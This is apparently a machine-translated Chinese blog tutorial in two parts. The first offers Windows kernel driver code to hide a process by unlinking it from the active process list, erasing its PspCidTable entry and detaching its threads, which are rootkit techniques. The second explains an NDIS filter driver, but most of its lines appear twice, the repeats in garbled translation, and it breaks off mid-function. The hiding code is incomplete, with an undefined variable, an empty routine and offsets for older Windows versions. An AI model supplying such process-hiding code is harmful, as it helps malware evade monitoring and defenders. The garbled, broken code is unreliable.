use Visual studio2012 development kernel to hidden process on Windows8
最后更新于:2022-04-01 10:28:20
In Windows NT, the 80386 protected mode "protection" is more robust than Windows 95, the "gilded cage" more solid, more difficult to break. In Windows 95, at least the application I / O operation is unrestricted, Windows NT application even this permission are deprived. Less likely to enter in the NT almost real ring0 layer.
In Windows NT, there are three Device Driver:
1. "Virtual device Driver" (VDD). VDD, 16-bit applications, such as DOS and Win16 applications can access specific I / O ports (Note, not direct access, but to VDD to access).
2. "GDI Driver", display and print the necessary GDI functions.
3. "Kernel Mode Driver", the operation of specific hardware, for example, CreateFile, CloseHandle (file object), ReadFile, WriteFile, the DeviceIoControl other operations. "Kernel Mode Driver" Windows NT hardware interrupt and DMA operation Driver. SCSI port driver and NIC NDIS driver Kernel Mode Driver is a special form.
Visual studio2012 Windows8 bring new experience exceptionally different
1.Start Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.Seen everywhere driven development template
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.Select a drive mode, there are two types of kernel mode and user mode driver
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4 Create a driver, KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.We choose a kernel mode driver Below is created after the success of the interface are the driver, and the driver installation package
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.Press F5, select the drive compile
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
Insert the following code kernel hidden process
Header files
~~~
#ifndef DBGHELP_H
#define DBGHELP_H 1
#include <ntifs.h>
/************************************************************************/
/* 重量级结构的申明 */
/************************************************************************/
typedef struct _HANDLE_TABLE {
ULONG Flags;
LONG HandleCount;
PHANDLE_TABLE_ENTRY **Table;
struct _EPROCESS *QuotaProcess;
HANDLE UniqueProcessId;
LONG FirstFreeTableEntry;
LONG NextIndexNeedingPool;
ERESOURCE HandleTableLock;
LIST_ENTRY HandleTableList;
KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN PVOID EnumParameter
);
typedef BOOLEAN(*__ExEnumHandleTable)(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPTIONAL
);
typedef BOOLEAN (*EXENUMHANDLETABLE)(
IN PHANDLE_TABLE HandleTable,
IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
IN PVOID EnumParameter,
OUT PHANDLE Handle OPTIONAL
);
/************************************************************************/
/* 申明一些全局变量 */
/************************************************************************/
ULONG g_Offset_Eprocess_Name=0;
ULONG g_Offset_Eprocess_Flink = 0;
ULONG g_Offset_Eprocess_ProcessId = 0;
ULONG g_Offset_Eprocess_HandleTable = 0;
__ExEnumHandleTable ExEnumHandleTable ;
PEPROCESS g_pEprocess_System = 0;
ULONG trytimes=0;
ULONG error=0;
/************************************************************************/
/* 申明一些函数 */
/************************************************************************/
BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter
);
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN ULONG ProcessId
);
VOID RemoveNodeFromActiveProcessLinks(
IN ULONG ProcessId
);
VOID
HideProcessById(
IN ULONG ProcessId
);
NTSTATUS
LookupProcessByName(
OUT PEPROCESS pEprocess
);
NTSTATUS
InitializeCommonVariables(
);
NTSTATUS GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
);
BOOLEAN IsValidModule(ULONG i);
void Search();
ULONG GetAddrFromProcessId();
VOID ClearMZMask();
#endif
~~~
Source files
~~~
VOID BreakThreadByProcess(ULONG Pid)
{
/*++
Routine Description:
将所有线程ETHREAD结构的ThreadsProcess抹掉
Return Value:
VOID
--*/
PEPROCESS eProcess;
PETHREAD eThread;
PLIST_ENTRY pList;
PsLookupProcessByProcessId(Pid,&eProcess);
pList = eProcess->Pcb.ThreadListHead.Blink;
while (pList != eProcess->Pcb.ThreadListHead.Flink)
{
eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));
eThread->ThreadsProcess = 0;
pList = pList->Blink;
}
}
VOID ClearMZMask()
{
/*++
Routine Description:
擦除PE文件MZ,PE标志
Return Value:
VOID
--*/
PVOID addr;
ULONG pid;
PEPROCESS eProcess;
KAPC_STATE apcstatus;
pid = ProtectPid;
PsLookupProcessByProcessId(pid,&eProcess);
KeStackAttachProcess(eProcess,&apcstatus);
KeUnstackDetachProcess(&apcstatus);
}
ULONG GetAddrFromProcessId()
{
/*++
Routine Description:
搜索PsLookupProcessByProcessId函数得到PspCidTable的地址
ppPspCidTable:返回PspCidTable表地址
Return Value:
VOID
--*/
UNICODE_STRING pslookup;
PUCHAR addr;
PUCHAR p;
ULONG q;
RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId");
addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup);
for(p=addr;p<addr+PAGE_SIZE;p++)
{
if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8))
{
q=*(PULONG)(p+2);
return q;
break;
}
}
return 0;
}
BOOLEAN
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter
)
{
if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)
{
*(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;
return TRUE ;
}
return FALSE ;
}
// 修改一下,可以传递要擦除的ID做参数
NTSTATUS
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN ULONG ProcessId
)
{
/*++
Routine Description:
擦出PspCidTable结构中的句柄
pHandleTable:指向句柄表指针
ProcessId:进程的PID
Return Value:
VOID
--*/
NTSTATUS status ;
PVOID EnumParameter ;
UNICODE_STRING uniExEnumHandleTable ;
__ExEnumHandleTable ExEnumHandleTable ;
status=STATUS_NOT_FOUND ;
EnumParameter=ProcessId ;
RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");
ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);
if(NULL==ExEnumHandleTable)
{
return STATUS_NOT_FOUND ;
}
// Enum后可以擦除,Callback过程中不能擦除
if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))
{
InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);
status=STATUS_SUCCESS ;
}
return status ;
}
VOID RemoveNodeFromActiveProcessLinks(
IN ULONG ProcessId
)
{
/*++
Routine Description:
移除进程EPROCESS结构中的ActiveProces中自己的链表
ProcessId:进程的PID
Return Value:
VOID
--*/
NTSTATUS status;
LIST_ENTRY *pListEntry;
PEPROCESS pEprocess;
status = PsLookupProcessByProcessId(ProcessId,&pEprocess);
if (!NT_SUCCESS(status))
{
DbgPrint("PsLookupProcessByProcessId Error!\n");
return ;
}
// ObDereferenceObject(pEprocess);
pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);
pListEntry->Flink->Blink = pListEntry->Blink;
pListEntry->Blink->Flink = pListEntry->Flink;
}
VOID
HideProcessById(
IN ULONG ProcessId
)
{
NTSTATUS status ;
HANDLE_TABLE *pPspCidTable ;
PEPROCESS pCsrssEprocess=NULL ;
status=InitializeCommonVariables();
pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();
status=LookupProcessByName(pCsrssEprocess);
// 先从活动进程链表中摘除
RemoveNodeFromActiveProcessLinks(ProcessId);
// 擦除PspCidTable中对应的Object
EraseObjectFromHandleTable(pPspCidTable,ProcessId);
// 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃
// EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);
return ;
}
NTSTATUS
LookupProcessByName(
OUT PEPROCESS pEprocess
)
{
PEPROCESS esProcess;
LIST_ENTRY *listen;
esProcess = PsGetCurrentProcess();
while (1)
{
listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;
esProcess= (EPROCESS *)((ULONG)listen - 0x88);
DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))
{
DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
pEprocess = esProcess;
DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);
return STATUS_SUCCESS;
break;
}
listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));
}
}
NTSTATUS
GetProcessNameOffset(
OUT PULONG Offset OPTIONAL
)
{
NTSTATUS status ;
PEPROCESS curproc ;
ULONG i ;
if(!MmIsAddressValid((PVOID)Offset))
{
status=STATUS_INVALID_PARAMETER ;
return status ;
}
curproc=PsGetCurrentProcess();
//
// 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
// 偏移174h的位置,这里存的是进程的短文件名,少数地方用,
// 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断
// Scan for 12KB, hopping the KPEB never grows that big!
//
for(i=0;i<3*PAGE_SIZE;i++)
{
if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))
{
*Offset=i ;
status=STATUS_SUCCESS ;
break ;
}
}
return status ;
}
NTSTATUS
InitializeCommonVariables(
)
{
NTSTATUS status ;
ULONG uMajorVersion ;
ULONG uMinorVersion ;
status=GetProcessNameOffset(&g_Offset_Eprocess_Name);
if(!NT_SUCCESS(status))
{
return status ;
}
g_pEprocess_System=PsGetCurrentProcess();
PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);
if(uMajorVersion==4&&uMinorVersion==0)
{
g_Offset_Eprocess_Flink=152 ;
// Stop supporting NT 4.0
return STATUS_UNSUCCESSFUL ;
}
else if(uMajorVersion==5&&uMinorVersion==0)
{
g_Offset_Eprocess_ProcessId=156 ;
g_Offset_Eprocess_Flink=160 ;
g_Offset_Eprocess_HandleTable=0x128 ;
}
else if(uMajorVersion==5&&uMinorVersion==1)
{
g_Offset_Eprocess_ProcessId=132 ;
g_Offset_Eprocess_Flink=136 ;
g_Offset_Eprocess_HandleTable=0xC4 ;
}
else if(uMajorVersion==5&&uMinorVersion==2)
{
g_Offset_Eprocess_ProcessId=132 ;
g_Offset_Eprocess_Flink=136 ;
g_Offset_Eprocess_HandleTable=0xC4 ;
}
return STATUS_SUCCESS ;
}
/*++
Routine Description:
得到各个变量的偏移
Return Value:
VOID
--*/
~~~
Under Windows8 kernel mode development NDIS application-NDIS Filter explain
最后更新于:2022-04-01 10:28:18
Win8 system development driver, also need to drive the need for a digital certificate, the signature verification. Not like XP below as crazy drops bullying.
Win8 system kernel drastic changes, and XP system kernel have been great changes, the most significant is just to say: the need for signatures and certificates. There is: not at liberty HOOK SSDT.
WDK Development Kit provides a new framework in the development of the NDIS driver shouted NDIS Filter
NDIS Filter is an example of engineering.
False in my WDK installed on the E drive, then the engineering code:
C: \ WinDDK \ 8600.16385.1 \ src \ network \ ndis \ filter directory.
Example works and the original the Passthru project code to do, you will find the original need to be guided by the two types the callback function MiniportXXX and ProtocolXXX in the new framework is all hidden.
Microsoft provides a new function. Take a look at what Microsoft provides.
Here, in order to facilitate analysis, I function code do functional annotation, please take a look at.
Code is as follows:
~~~
#pragma NDIS_INIT_FUNCTION(DriverEntry) # Pragma NDIS_INIT_FUNCTION (DriverEntry)
#define LITTLE_ENDIAN (1) # Define LITTLE_ENDIAN (1)
// / /
// Global variables / / Global variables
// / /
NDIS_HANDLE FilterDriverHandle; // NDIS handle for filter driver NDIS_HANDLE FilterDriverHandle; / / NDIS handle for filter driver
NDIS_HANDLE FilterDriverObject; NDIS_HANDLE FilterDriverObject;
NDIS_HANDLE NdisFilterDeviceHandle = NULL; NDIS_HANDLE NdisFilterDeviceHandle = NULL;
PDEVICE_OBJECT DeviceObject = NULL; PDEVICE_OBJECT DeviceObject = NULL;
FILTER_LOCK FilterListLock; FILTER_LOCK FilterListLock;
LIST_ENTRY FilterModuleList; LIST_ENTRY FilterModuleList;
PWCHAR InstanceStrings = NULL; PWCHAR InstanceStrings = NULL;
NDIS_FILTER_PARTIAL_CHARACTERISTICS DefaultChars = { NDIS_FILTER_PARTIAL_CHARACTERISTICS DefaultChars = {
{ 0, 0, 0}, {0, 0, 0},
0, 0,
FilterSendNetBufferLists, FilterSendNetBufferLists,
FilterSendNetBufferListsComplete, FilterSendNetBufferListsComplete,
NULL, NULL,
FilterReceiveNetBufferLists, FilterReceiveNetBufferLists,
FilterReturnNetBufferLists FilterReturnNetBufferLists
}; };
typedef struct in_addr { typedef struct in_addr {
union { union {
struct { UCHAR s_b1,s_b2,s_b3,s_b4; } S_un_b; struct {UCHAR s_b1, s_b2, s_b3, s_b4;} S_un_b;
struct { USHORT s_w1,s_w2; } S_un_w; struct {USHORT s_w1, s_w2;} S_un_w;
ULONG S_addr; ULONG S_addr;
} S_un; } S_un;
} IN_ADDR, *PIN_ADDR, FAR *LPIN_ADDR; } IN_ADDR, * PIN_ADDR, FAR * LPIN_ADDR;
#pragma push(1) # Pragma push (1)
typedef struct IP_HEADER typedef struct IP_HEADER
{ {
#if LITTLE_ENDIAN # If LITTLE_ENDIAN
unsigned char ip_hl:4; /* 头长度 */ unsigned char ip_hl: 4; / * header length * /
unsigned char ip_v:4; /* 版本号 */ unsigned char ip_v: 4; / * version number * /
#else # Else
unsigned char ip_v:4; unsigned char ip_v: 4;
unsigned char ip_hl:4; unsigned char ip_hl: 4;
#endif # Endif
unsigned char TOS; // 服务类型 unsigned char TOS; / / Type of Service
unsigned short TotLen; // 封包总长度,即整个IP包的长度 unsigned short TotLen; / / total length of the packet, ie the length of the entire IP packet
unsigned short ID; // 封包标识,唯一标识发送的每一个数据报 unsigned short ID; / / packet identification uniquely identifying the transmitter each data packets
unsigned short FlagOff; // 标志 unsigned short FlagOff; / / flag
unsigned char TTL; // 生存时间,就是TTL unsigned char TTL; / / survival time is TTL
unsigned char Protocol; // 协议,可能是TCP、UDP、ICMP等 unsigned char Protocol; / / protocol, may be TCP, UDP, ICMP, etc.
unsigned short Checksum; // 校验和 unsigned short Checksum; / / checksum
struct in_addr iaSrc; // 源IP地址 struct in_addr iaSrc; / / source IP address
struct in_addr iaDst; // 目的PI地址 struct in_addr iaDst; / / purpose of PI address
}IP_HEADER, *PIP_HEADER; } IP_HEADER, * PIP_HEADER;
typedef struct tcp_header typedef struct tcp_header
{ {
unsigned short src_port; //源端口号 unsigned short src_port; / / source port number
unsigned short dst_port; //目的端口号 unsigned short dst_port; / / destination port number
unsigned int seq_no; //序列号 unsigned int seq_no; / / serial number
unsigned int ack_no; //确认号 unsigned int ack_no; / / confirmation number
#if LITTLE_ENDIAN # If LITTLE_ENDIAN
unsigned char reserved_1:4; //保留6位中的4位首部长度 unsigned char reserved_1: 4; / / 6 4 header length reserved
unsigned char thl:4; //tcp头部长度 unsigned char thl: 4; / / tcp header length
unsigned char flag:6; //6位标志 unsigned char flag: 6; / / 6 bit flags
unsigned char reseverd_2:2; //保留6位中的2位 unsigned char reseverd_2: 2; / / retain two of the six
#else # Else
unsigned char thl:4; //tcp头部长度 unsigned char thl: 4; / / tcp header length
unsigned char reserved_1:4; //保留6位中的4位首部长度 unsigned char reserved_1: 4; / / 6 4 header length reserved
unsigned char reseverd_2:2; //保留6位中的2位 unsigned char reseverd_2: 2; / / retain two of the six
unsigned char flag:6; //6位标志 unsigned char flag: 6; / / 6 bit flags
#endif # Endif
unsigned short wnd_size; //16位窗口大小 unsigned short wnd_size; / / 16-bit window size
unsigned short chk_sum; //16位TCP检验和 unsigned short chk_sum; / / 16-bit TCP checksum
unsigned short urgt_p; //16为紧急指针 unsigned short urgt_p; / / 16 for urgent pointer
}TCP_HEADER,*PTCP_HEADER; } TCP_HEADER, * PTCP_HEADER;
typedef struct udp_header typedef struct udp_header
{ {
USHORT srcport; // 源端口 USHORT srcport; / / source port
USHORT dstport; // 目的端口 USHORT dstport; / / destination port
USHORT total_len; // 包括UDP报头及UDP数据的长度(单位:字节) The USHORT total_len; / / include the UDP header and UDP data length (unit: byte)
USHORT chksum; // 校验和 USHORT chksum; / / checksum
}UDP_HEADER,*PUDP_HEADER; } UDP_HEADER, * PUDP_HEADER;
#pragma push() # Pragma push ()
#define IP_OFFSET 0x0E # Define IP_OFFSET 0x0E
//IP 协议类型 / / IP protocol type
#define PROT_ICMP 0x01 # Define PROT_ICMP 0x01
#define PROT_TCP 0x06 # Define PROT_TCP 0x06
#define PROT_UDP 0x11 # Define PROT_UDP 0x11
USHORT UTIL_htons( USHORT hostshort ) USHORT UTIL_htons (USHORT hostshort)
{ {
PUCHAR pBuffer; PUCHAR pBuffer;
USHORT nResult; USHORT nResult;
nResult = 0; nResult = 0;
pBuffer = (PUCHAR )&hostshort; pBuffer = (PUCHAR) &hostshort;
nResult = ( (pBuffer[ 0 ] << 8) & 0xFF00) | (pBuffer[ 1 ] & 0x00FF); nResult = ((pBuffer [0] << 8) & 0xFF00) | (pBuffer [1] & 0x00FF);
return( nResult ); return (nResult);
} }
/*UTIL_ntohs把网络字节顺序转换成主机字节顺序*/ / * UTIL_ntohs network byte order to host byte order * /
USHORT UTIL_ntohs( USHORT netshort ) USHORT UTIL_ntohs (USHORT netshort)
{ {
return( UTIL_htons( netshort ) ); return (UTIL_htons (netshort));
} }
NTSTATUS NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) DriverEntry (IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{ {
NDIS_STATUS Status; NDIS_STATUS Status;
NDIS_FILTER_DRIVER_CHARACTERISTICS FChars; NDIS_FILTER_DRIVER_CHARACTERISTICS FChars;
NDIS_STRING ServiceName; NDIS_STRING ServiceName;
NDIS_STRING UniqueName; NDIS_STRING UniqueName;
NDIS_STRING FriendlyName; NDIS_STRING FriendlyName;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
UNREFERENCED_PARAMETER(RegistryPath); UNREFERENCED_PARAMETER (RegistryPath);
DEBUGP(DL_TRACE,("===>DriverEntry...\n")); DEBUGP (DL_TRACE, ("===> DriverEntry ... \ n"));
RtlInitUnicodeString(&ServiceName, FILTER_SERVICE_NAME); RtlInitUnicodeString (& ServiceName, FILTER_SERVICE_NAME);
RtlInitUnicodeString(&FriendlyName, FILTER_FRIENDLY_NAME); RtlInitUnicodeString (& FriendlyName, FILTER_FRIENDLY_NAME);
RtlInitUnicodeString(&UniqueName, FILTER_UNIQUE_NAME); RtlInitUnicodeString (& UniqueName, FILTER_UNIQUE_NAME);
FilterDriverObject = DriverObject; FilterDriverObject = DriverObject;
do do
{ {
NdisZeroMemory(&FChars, sizeof(NDIS_FILTER_DRIVER_CHARACTERISTICS)); NdisZeroMemory (& FChars, sizeof (NDIS_FILTER_DRIVER_CHARACTERISTICS));
/* / *
大多数的NDIS6.0数据结构中包含的对象头结构的成员,即NDIS_OBJECT_HEADER结构。 The majority of NDIS6.0 data structure contains a member of the object header structure, i.e. NDIS_OBJECT_HEADER structure.
对象头有三个成员:类型,大小和修改。 Object header has three members: the type, size, and modify.如果头信息是不正确的,那么调用NDIS6.0函数将失败。 If the header information is incorrect, then call NDIS6.0 function will fail.
*/ * /
FChars.Header.Type = FChars.Header.Type =
NDIS_OBJECT_TYPE_FILTER_DRIVER_CHARACTERISTICS; NDIS_OBJECT_TYPE_FILTER_DRIVER_CHARACTERISTICS;
FChars.Header.Size = sizeof(NDIS_FILTER_DRIVER_CHARACTERISTICS); FChars.Header.Size = sizeof (NDIS_FILTER_DRIVER_CHARACTERISTICS);
FChars.Header.Revision = NDIS_FILTER_CHARACTERISTICS_REVISION_1; FChars.Header.Revision = NDIS_FILTER_CHARACTERISTICS_REVISION_1;
FChars.MajorNdisVersion = FILTER_MAJOR_NDIS_VERSION; FChars.MajorNdisVersion = FILTER_MAJOR_NDIS_VERSION;
FChars.MinorNdisVersion = FILTER_MINOR_NDIS_VERSION; FChars.MinorNdisVersion = FILTER_MINOR_NDIS_VERSION;
FChars.MajorDriverVersion = 1; FChars.MajorDriverVersion = 1;
FChars.MinorDriverVersion = 0; FChars.MinorDriverVersion = 0;
FChars.Flags = 0; FChars.Flags = 0;
FChars.FriendlyName = FriendlyName; FChars.FriendlyName = FriendlyName;
FChars.UniqueName = UniqueName; FChars.UniqueName = UniqueName;
FChars.ServiceName = ServiceName; FChars.ServiceName = ServiceName;
/****************************************************** / ************************************************* *****
NDIS_FILTER_DRIVER_CHARACTERISTICS结构中Mandatory例程 NDIS_FILTER_DRIVER_CHARACTERISTICS structure Mandatory routine
******************************************************/ ************************************************** **** /
FChars.AttachHandler = FilterAttach; FChars.AttachHandler = FilterAttach;
FChars.DetachHandler = FilterDetach; FChars.DetachHandler = FilterDetach;
FChars.RestartHandler = FilterRestart; FChars.RestartHandler = FilterRestart;
FChars.PauseHandler = FilterPause; FChars.PauseHandler = FilterPause;
/************************************************************ / ************************************************* ***********
NDIS_FILTER_DRIVER_CHARACTERISTICS结构中Optional且不能在运行时变更的例程 NDIS_FILTER_DRIVER_CHARACTERISTICS structure Optional and can not be changed at run time routines
*************************************************************/ ************************************************** *********** /
FChars.SetOptionsHandler = FilterRegisterOptions; FChars.SetOptionsHandler = FilterRegisterOptions;
FChars.SetFilterModuleOptionsHandler = FilterSetModuleOptions; FChars.SetFilterModuleOptionsHandler = FilterSetModuleOptions;
FChars.OidRequestHandler = FilterOidRequest; FChars.OidRequestHandler = FilterOidRequest;
FChars.OidRequestCompleteHandler = FilterOidRequestComplete; FChars.OidRequestCompleteHandler = FilterOidRequestComplete;
FChars.StatusHandler = FilterStatus; FChars.StatusHandler = FilterStatus;
FChars.DevicePnPEventNotifyHandler = FilterDevicePnPEventNotify; FChars.DevicePnPEventNotifyHandler = FilterDevicePnPEventNotify;
FChars.NetPnPEventHandler = FilterNetPnPEvent; FChars.NetPnPEventHandler = FilterNetPnPEvent;
FChars.CancelSendNetBufferListsHandler = FilterCancelSendNetBufferLists; FChars.CancelSendNetBufferListsHandler = FilterCancelSendNetBufferLists;
/************************************************************** / ************************************************* *************
DIS_FILTER_DRIVER_CHARACTERISTICS结构中Optional且能在运行时变更的例程。 DIS_FILTER_DRIVER_CHARACTERISTICS structure Optional and can be changed at run time routines.
下面这4个例程也被定义在NDIS_FILTER_PARTIAL_CHARACTERISTICS中,这个结构指定的 The following four routines defined in NDIS_FILTER_PARTIAL_CHARACTERISTICS This structure specifies
例程可以在运行时的FilterSetModuleOptions例程中调用NdisSetOptionHandles来改变。 The routine called the runtime FilterSetModuleOptions routine NdisSetOptionHandles to change.
如果过滤驱动要在例程中修改自身的一个特性,那么必须提供FilterSetModuleOptions例程。 If the filter driver to modify a feature of its own routine, you must provide FilterSetModuleOptions routines.
****************************************************************/ ************************************************** ************** /
FChars.SendNetBufferListsHandler = FilterSendNetBufferLists; FChars.SendNetBufferListsHandler = FilterSendNetBufferLists;
FChars.SendNetBufferListsCompleteHandler = FilterSendNetBufferListsComplete; FChars.SendNetBufferListsCompleteHandler = FilterSendNetBufferListsComplete;
FChars.ReturnNetBufferListsHandler = FilterReturnNetBufferLists; FChars.ReturnNetBufferListsHandler = FilterReturnNetBufferLists;
FChars.ReceiveNetBufferListsHandler = FilterReceiveNetBufferLists; FChars.ReceiveNetBufferListsHandler = FilterReceiveNetBufferLists;
/// / / /
FChars.CancelOidRequestHandler = FilterCancelOidRequest; FChars.CancelOidRequestHandler = FilterCancelOidRequest;
DriverObject->DriverUnload = FilterUnload; DriverObject-> DriverUnload = FilterUnload;
FilterDriverHandle = NULL; FilterDriverHandle = NULL;
FILTER_INIT_LOCK(&FilterListLock); FILTER_INIT_LOCK (& FilterListLock);
InitializeListHead(&FilterModuleList); InitializeListHead (& FilterModuleList);
// 把Filter驱动注册给NDIS / / Filter driver registered to NDIS
Status = NdisFRegisterFilterDriver(DriverObject, Status = NdisFRegisterFilterDriver (DriverObject,
(NDIS_HANDLE)FilterDriverObject, (NDIS_HANDLE) FilterDriverObject,
&FChars, & FChars,
&FilterDriverHandle); & FilterDriverHandle);
if (Status != NDIS_STATUS_SUCCESS) if (Status! = NDIS_STATUS_SUCCESS)
{ {
DEBUGP(DL_WARN, ("MSFilter: Register filter driver failed.\n")); DEBUGP (DL_WARN, ("MSFilter: Register filter driver failed. \ N"));
break; break;
} }
// / /
// Initilize spin locks / / Initilize spin locks
// / /
Status = FilterRegisterDevice(); Status = FilterRegisterDevice ();
if (Status != NDIS_STATUS_SUCCESS) if (Status! = NDIS_STATUS_SUCCESS)
{ {
NdisFDeregisterFilterDriver(FilterDriverHandle); NdisFDeregisterFilterDriver (FilterDriverHandle);
FILTER_FREE_LOCK(&FilterListLock); FILTER_FREE_LOCK (& FilterListLock);
DEBUGP(DL_WARN, ("MSFilter: Register device for the filter driver failed.\n")); DEBUGP (DL_WARN, ("MSFilter: Register device for the filter driver failed. \ N"));
break; break;
} }
} }
while(bFalse); while (bFalse);
DEBUGP(DL_TRACE, ("<===DriverEntry, Status = %8x\n", Status)); DEBUGP (DL_TRACE, ("<=== DriverEntry, Status =% 8x \ n", Status));
return Status; return Status;
} }
//过滤驱动注册可选服务 / / Filter driver registration optional services
NDIS_STATUS NDIS_STATUS
FilterRegisterOptions( FilterRegisterOptions (
IN NDIS_HANDLE NdisFilterDriverHandle, //它指向了这个过滤驱动 IN NDIS_HANDLE NdisFilterDriverHandle, / / it points to the filter driver
IN NDIS_HANDLE FilterDriverContext //它是这个驱动的上下文 IN NDIS_HANDLE FilterDriverContext / / It is the context of this driver
) )
{ {
DEBUGP(DL_TRACE, ("===>FilterRegisterOptions\n")); DEBUGP (DL_TRACE, ("===> FilterRegisterOptions \ n"));
ASSERT(NdisFilterDriverHandle == FilterDriverHandle); ASSERT (NdisFilterDriverHandle == FilterDriverHandle);
ASSERT(FilterDriverContext == (NDIS_HANDLE)FilterDriverObject); ASSERT (FilterDriverContext == (NDIS_HANDLE) FilterDriverObject);
if ((NdisFilterDriverHandle != (NDIS_HANDLE)FilterDriverHandle) || if ((NdisFilterDriverHandle! = (NDIS_HANDLE) FilterDriverHandle) | |
(FilterDriverContext != (NDIS_HANDLE)FilterDriverObject)) (FilterDriverContext! = (NDIS_HANDLE) FilterDriverObject))
{ {
return NDIS_STATUS_INVALID_PARAMETER; return NDIS_STATUS_INVALID_PARAMETER;
} }
DEBUGP(DL_TRACE, ("<===FilterRegisterOptions\n")); DEBUGP (DL_TRACE, ("<=== FilterRegisterOptions \ n"));
return (NDIS_STATUS_SUCCESS); return (NDIS_STATUS_SUCCESS);
} }
/*************************************************************** / ************************************************* **************
FilterAttach函数的功能: Function of function FilterAttach:
Attaching状态表示:一个Filter Driver正准备附加一个Filter Module到一个驱动栈上。 The Attaching status: a Filter Driver is preparing to attach a Filter Module to a driver on the stack.
一个过滤驱动进入Attaching状态下不能进行发送请求、接收指示、状态指示、OID请求操作。 A filter can not be driven into the Attaching state sends a request to receive instructions, status indication, OID requested operation.
当一个过滤驱动进入Attaching状态时,它可以: When a filter driver to enter Attaching state, it can:
(1)创建一个环境上下文区域并且初始化一个缓冲区池以及其Filter Module特点的资源。 (1) to create an environment in the context of regional and initialize a buffer pool and Filter Module features resources.
(2)用NDIS 传来给Filter Attach的NdisFilterHandle作为输入来调用NdisFSetAttributes例程。 (2) use the NDIS came to the Filter Attach NdisFilterHandle to as input call NdisFSetAttributes routine.
Attach is complete Attach is complete
当Filter Module在Attaching状态下并且Filter Driver初始化了所有的Filter Module所需要的 When the Filter Module Attaching the state and initializes all Filter Module Filter Driver
所有资源时,Filter Module进入Paused状态。 All resources, Filter Module into the Paused state.
参数说明: Parameter Description:
NdisFilterHandle 它用于所有过滤驱动中对Ndisxxx类例程的调用时引用指示这个过滤模块。 NdisFilterHandle references indicate this filter module for all filter driver Ndisxxx class routine call.
FilterDriverContext 它由NdisFRegisterFilterDriver的FilterDriverContext来指定。 By NdisFRegisterFilterDriver the FilterDriverContext FilterDriverContext it to be specified.
AttachParameters 它是过滤模块的初始化参数结构体。 AttachParameters filter module initialization parameter structure.
**************************************************************/ ************************************************** ************ /
NDIS_STATUS NDIS_STATUS
FilterAttach( FilterAttach (
IN NDIS_HANDLE NdisFilterHandle, IN NDIS_HANDLE NdisFilterHandle,
IN NDIS_HANDLE FilterDriverContext, IN NDIS_HANDLE FilterDriverContext,
IN PNDIS_FILTER_ATTACH_PARAMETERS AttachParameters IN PNDIS_FILTER_ATTACH_PARAMETERS AttachParameters
) )
{ {
PMS_FILTER pFilter = NULL; PMS_FILTER pFilter = NULL;
NDIS_STATUS Status = NDIS_STATUS_SUCCESS; NDIS_STATUS Status = NDIS_STATUS_SUCCESS;
NDIS_FILTER_ATTRIBUTES FilterAttributes; NDIS_FILTER_ATTRIBUTES FilterAttributes;
ULONG Size; ULONG Size;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
DEBUGP(DL_TRACE, ("===>FilterAttach: NdisFilterHandle %p\n", NdisFilterHandle)); DEBUGP (DL_TRACE, ("===> FilterAttach: NdisFilterHandle% p \ n", NdisFilterHandle));
do do
{ {
